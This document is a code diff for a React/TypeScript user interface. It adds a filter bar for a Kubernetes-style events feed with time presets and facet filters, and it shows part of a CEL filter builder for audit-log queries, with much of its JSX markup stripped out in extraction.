+/** + * Preset time ranges + */ +const TIME_PRESETS = [ + { key: 'now-1h', label: 'Last hour' }, + { key: 'now-6h', label: 'Last 6 hours' }, + { key: 'now-24h', label: 'Last 24 hours' }, + { key: 'now-7d', label: 'Last 7 days' }, + { key: 'now-30d', label: 'Last 30 days' }, +]; + +/** + * Filter configuration registry + */ +type FilterId = 'involvedKinds' | 'reasons' | 'namespaces' | 'sourceComponents' | 'involvedName'; + +interface FilterConfig { + id: FilterId; + label: string; + inputMode: 'typeahead' | 'text'; + placeholder?: string; + searchPlaceholder?: string; +} + +const FILTER_CONFIGS: Record = { + involvedKinds: { + id: 'involvedKinds', + label: 'Kind', + inputMode: 'typeahead', + searchPlaceholder: 'Search kinds...', + }, + reasons: { + id: 'reasons', + label: 'Reason', + inputMode: 'typeahead', + searchPlaceholder: 'Search reasons...', + }, + namespaces: { + id: 'namespaces', + label: 'Namespace', + inputMode: 'typeahead', + searchPlaceholder: 'Search namespaces...', + }, + sourceComponents: { + id: 'sourceComponents', + label: 'Source', + inputMode: 'typeahead', + searchPlaceholder: 'Search sources...', + }, + involvedName: { + id: 'involvedName', + label: 'Resource Name', + inputMode: 'text', + placeholder: 'Enter resource name...', + }, +}; + +/** + * Helper function to convert ISO string to datetime-local format + */ +const formatDatetimeLocal = (isoString: string): string => { + const date = new Date(isoString); + const year = date.getFullYear(); + const month = String(date.getMonth() + 1).padStart(2, '0'); + const day = String(date.getDate()).padStart(2, '0'); + const hours = String(date.getHours()).padStart(2, '0'); + const minutes = String(date.getMinutes()).padStart(2, '0'); + return `${year}-${month}-${day}T${hours}:${minutes}`; +}; + +/** + * Check if the current time range matches a preset + */ +const getSelectedPreset = (timeRange: TimeRange): string => { + const preset = TIME_PRESETS.find((p) => timeRange.start === p.key); + return preset ? preset.key : 'custom'; +}; + +/** + * EventsFeedFilters provides filter controls for the events feed + */ +export function EventsFeedFilters({ + client, + filters, + timeRange, + onFiltersChange, + onTimeRangeChange, + disabled = false, + hiddenFilters = [], + className = '', + namespace, +}: EventsFeedFiltersProps) { + const { involvedKinds, reasons, namespaces, sourceComponents, error: facetsError } = useEventFacets(client, timeRange, filters); + + // Log facets error for debugging + if (facetsError) { + console.error('Failed to load event facets:', facetsError); + } + + // Track which filter was just added to auto-open it + const [pendingFilter, setPendingFilter] = useState(null); + + // Custom time range state + const selectedPreset = getSelectedPreset(timeRange); + const [customStart, setCustomStart] = useState(() => { + if (selectedPreset === 'custom') { + return formatDatetimeLocal(timeRange.start); + } + return formatDatetimeLocal(formatISO(subDays(new Date(), 1))); + }); + const [customEnd, setCustomEnd] = useState(() => { + if (selectedPreset === 'custom' && timeRange.end) { + return formatDatetimeLocal(timeRange.end); + } + return formatDatetimeLocal(formatISO(new Date())); + }); + + // Handle event type change + const handleEventTypeChange = useCallback( + (value: EventTypeOption) => { + onFiltersChange({ + ...filters, + eventType: value === 'all' ? undefined : value, + }); + }, + [filters, onFiltersChange] + ); + + // Handle time range preset selection + const handleTimePresetSelect = useCallback( + (presetKey: string) => { + onTimeRangeChange({ + start: presetKey, + end: undefined, + }); + }, + [onTimeRangeChange] + ); + + // Handle custom time range apply + const handleCustomRangeApply = useCallback( + (start: string, end: string) => { + setCustomStart(start); + setCustomEnd(end); + onTimeRangeChange({ + start: new Date(start).toISOString(), + end: new Date(end).toISOString(), + }); + }, + [onTimeRangeChange] + ); + + // Get display label for time range + const getTimeRangeLabel = () => { + const preset = TIME_PRESETS.find((p) => p.key === selectedPreset); + if (preset) return preset.label; + if (selectedPreset === 'custom' && timeRange.start && timeRange.end) { + const start = new Date(timeRange.start); + const end = new Date(timeRange.end); + return `${start.toLocaleDateString()} - ${end.toLocaleDateString()}`; + } + return 'Select time range'; + }; + + // Get current event type value for toggle + const eventTypeValue: EventTypeOption = filters.eventType || 'all'; + + // Determine which filters are currently active (have values) and not hidden + const filtersWithValues: FilterId[] = []; + if (filters.involvedKinds && filters.involvedKinds.length > 0 && !hiddenFilters.includes('involvedKinds')) filtersWithValues.push('involvedKinds'); + if (filters.reasons && filters.reasons.length > 0 && !hiddenFilters.includes('reasons')) filtersWithValues.push('reasons'); + if (!namespace && filters.namespaces && filters.namespaces.length > 0 && !hiddenFilters.includes('namespaces')) filtersWithValues.push('namespaces'); + if (filters.sourceComponents && filters.sourceComponents.length > 0 && !hiddenFilters.includes('sourceComponents')) filtersWithValues.push('sourceComponents'); + if (filters.involvedName && !hiddenFilters.includes('involvedName')) filtersWithValues.push('involvedName'); + + // Include pendingFilter (newly added filter awaiting value selection) in the displayed filters + const activeFilterIds: FilterId[] = pendingFilter && !filtersWithValues.includes(pendingFilter) + ? [...filtersWithValues, pendingFilter] + : filtersWithValues; + + // Clear pending filter when filter values change (user selected something) + useEffect(() => { + if (pendingFilter && filtersWithValues.includes(pendingFilter)) { + // Filter now has values, clear pending state + setPendingFilter(null); + } + }, [pendingFilter, filtersWithValues]); + + // Build available filters list (exclude namespace if scoped, exclude hidden filters) + const availableFilters: FilterOption[] = [ + { id: 'involvedKinds', label: 'Kind' }, + { id: 'reasons', label: 'Reason' }, + ...(namespace ? [] : [{ id: 'namespaces' as const, label: 'Namespace' }]), + { id: 'sourceComponents', label: 'Source' }, + { id: 'involvedName', label: 'Resource Name' }, + ].filter((filter) => !hiddenFilters.includes(filter.id as FilterId)); + + // Handle adding a filter + const handleAddFilter = useCallback((filterId: string) => { + setPendingFilter(filterId as FilterId); + }, []); + + // Handle popover close - clear pending filter if no values were selected + const handlePopoverClose = useCallback( + (filterId: FilterId) => { + if (pendingFilter === filterId) { + const hasValues = (() => { + const value = filters[filterId]; + if (filterId === 'involvedName') return !!value; + return Array.isArray(value) && value.length > 0; + })(); + if (!hasValues) { + setPendingFilter(null); + } + } + }, + [pendingFilter, filters] + ); + + // Handle filter value changes + const handleFilterChange = useCallback( + (filterId: FilterId, values: string[]) => { + onFiltersChange({ + ...filters, + [filterId]: values.length > 0 ? values : undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Handle filter clear + const handleFilterClear = useCallback( + (filterId: FilterId) => { + onFiltersChange({ + ...filters, + [filterId]: undefined, + }); + }, + [filters, onFiltersChange] + ); + + // Get options for a specific filter + const getFilterOptions = (filterId: FilterId) => { + switch (filterId) { + case 'involvedKinds': + return involvedKinds + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'reasons': + return reasons + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'namespaces': + return namespaces + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + case 'sourceComponents': + return sourceComponents + .filter((facet) => facet.value) + .map((facet) => ({ + value: facet.value, + label: facet.value, + count: facet.count, + })); + default: + return []; + } + }; + + // Get values for a specific filter + const getFilterValues = (filterId: FilterId): string[] => { + const value = filters[filterId]; + if (filterId === 'involvedName') { + return value ? [value as string] : []; + } + return (value as string[] | undefined) || []; + }; + + // Handle search input change with debouncing + const handleSearchChange = useCallback( + (event: React.ChangeEvent) => { + const value = event.target.value; + onFiltersChange({ + ...filters, + search: value || undefined, + }); + }, + [filters, onFiltersChange] + ); + + return ( +
+
+ {/* Event Type Toggle */} + {!hiddenFilters.includes('eventType') && ( + + )} + + {/* Search Input */} +
+ + +
+ + {/* Active Filter Chips */} + {activeFilterIds.map((filterId) => { + const config = FILTER_CONFIGS[filterId]; + return ( + handleFilterChange(filterId, values)} + onClear={() => handleFilterClear(filterId)} + onPopoverClose={() => handlePopoverClose(filterId)} + inputMode={config.inputMode} + placeholder={config.placeholder} + searchPlaceholder={config.searchPlaceholder} + autoOpen={pendingFilter === filterId} + disabled={disabled} + /> + ); + })} + + {/* Add Filter Dropdown */} + 0} + disabled={disabled} + /> + + {/* Spacer */} +
+ + {/* Time Range Dropdown */} + +
+
+ ); +} diff --git a/ui/src/components/FilterBuilder.tsx b/ui/src/components/FilterBuilder.tsx index 8fb7136e..3a4ed96a 100644 --- a/ui/src/components/FilterBuilder.tsx +++ b/ui/src/components/FilterBuilder.tsx @@ -1,184 +1,184 @@ -import { useState } from 'react'; -import type { AuditLogQuerySpec } from '../types'; -import { FILTER_FIELDS } from '../types'; -import { Button } from './ui/button'; -import { Card, CardContent, CardHeader } from './ui/card'; -import { Input } from './ui/input'; -import { Label } from './ui/label'; -import { Separator } from './ui/separator'; -import { Textarea } from './ui/textarea'; - -export interface FilterBuilderProps { - onFilterChange: (spec: AuditLogQuerySpec) => void; - initialFilter?: string; - initialLimit?: number; - className?: string; -} - -/** - * FilterBuilder component for constructing CEL filter expressions - */ -export function FilterBuilder({ - onFilterChange, - initialFilter = '', - initialLimit = 100, - className = '', -}: FilterBuilderProps) { - const [filter, setFilter] = useState(initialFilter); - const [limit, setLimit] = useState(initialLimit); - const [showHelp, setShowHelp] = useState(false); - - const handleFilterChange = (newFilter: string) => { - setFilter(newFilter); - onFilterChange({ filter: newFilter, limit }); - }; - - const handleLimitChange = (newLimit: number) => { - const validLimit = Math.min(Math.max(1, newLimit), 1000); - setLimit(validLimit); - onFilterChange({ filter, limit: validLimit }); - }; - - const insertExample = (example: string) => { - const newFilter = filter ? `${filter} && ${example}` : example; - handleFilterChange(newFilter); - }; - - return ( - - -
-

Build Your Query

- -
-
- - - - - {showHelp && ( -
-

Available Filter Fields

-
- {FILTER_FIELDS.map((field) => ( -
-
- {field.name} - {field.type} -
-

{field.description}

- {field.examples && field.examples.length > 0 && ( -
- Examples: - {field.examples.map((example, idx) => ( -
- - {example} - - -
- ))} -
- )} -
- ))} -
- -
-

Common Operators

-
    -
  • == - Equals
  • -
  • != - Not equals
  • -
  • && - And
  • -
  • || - Or
  • -
  • in - In list (e.g., verb in ["create", "delete"])
  • -
  • .startsWith() - String starts with
  • -
  • .contains() - String contains
  • -
  • timestamp() - Parse timestamp (e.g., timestamp("2024-01-01T00:00:00Z"))
  • -
-
-
- )} - -
- -